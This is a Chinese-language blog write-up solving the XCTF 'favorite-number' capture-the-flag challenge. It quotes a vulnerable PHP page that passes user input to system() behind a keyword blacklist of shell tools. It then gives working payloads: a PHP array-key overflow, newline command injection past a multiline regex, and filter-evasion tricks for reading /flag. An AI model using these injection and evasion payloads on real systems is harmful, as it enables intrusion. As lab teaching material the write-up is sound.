xctf-favorite-number


Feature

  • POST 发送数组
  • [PHP 数组 Key 溢出]
  • 多行匹配绕过正则表达式
  • 使用 inode 搜索文件
  • 使用 tac 替代 cat 显示文件内容
  • 利用环境变量拼接命令~

打开题目显示一段 php 代码:

<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
}

判断 $stuff$array 的时候使用了 ===,要求两数组元素必须一样。但是要求 $staff 里第一个元素不能为 admin,传统方法是不可能了。

这里采用PHP Key 溢出绕过。PHP 的 HashTable 的键名是有一定范围的,超过会发生溢出。详情参见:PHP Key 溢出

这段代码在 PHP 7.3.4 下运行:

$arr[18446744073708551617333333333333] = '18446744073708551617333333333333';
var_dump($arr);
/*
 array(1) {
  [-999799117276250112] =>
  string(32) "18446744073708551617333333333333"
}
*/

4294967296 的溢出值刚好为0,利用这点进行绕过。

构造 Payload:
stuff[4294967296]=admin&stuff[1]=user&num=123

num参数会被直接传递给 system 函数执行,存在命令注入的风险。漏洞就在于第一个正则表达式开启了多行匹配,原理如下:

preg_match("/^\d+$/i", "123\nls") // 不匹配
preg_match("/^\d+$/im", "123\nls") // 匹配

其他编程语言也有类似的情况,如 JavaScript

构造 payload:
stuff[4294967296]=admin&stuff[1]=user&num=123%0a ls /

可知 flag 就位于 /flag 里,但是 flag 被过滤了,可采用多种方法绕过。

  1. Shell 特殊字符(最简单)
    Linux Shell 里 $n 表示传入脚本的第 n 个参数,当参数不存在时 $n 为空字符串,常用 $9 当分隔符。
    payload:

    stuff[4294967296]=admin&stuff[1]=user&num=123%0a ls /fla$9g
  2. 使用 tac 输出
    tac 用于逆序按行输出文件,当 cat 被过滤时可以用 tac 代替。结合 printf 写入文件实现文件读取:

    printf /fla > /tmp/hello
    printf g >> /tmp/hello
    tac `tac /tmp/hello`
  3. 使用 inode 查找文件。
    Linux 下每个文件都有自己的 inode 值,使用 find 查找的时候可以按 inode 值查找。

    # 列出当前⽂件列表,取出inode
    ls -i /
    # 通过find找到对应inode的⽂件,并通过tac进⾏读取
    tac `find / -inum 367363
  4. 利用环境变量拼接出命令。

    a=f;d=ag;c=l;tac /$a$c$d

文章作者: Summer
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Summer !
  目录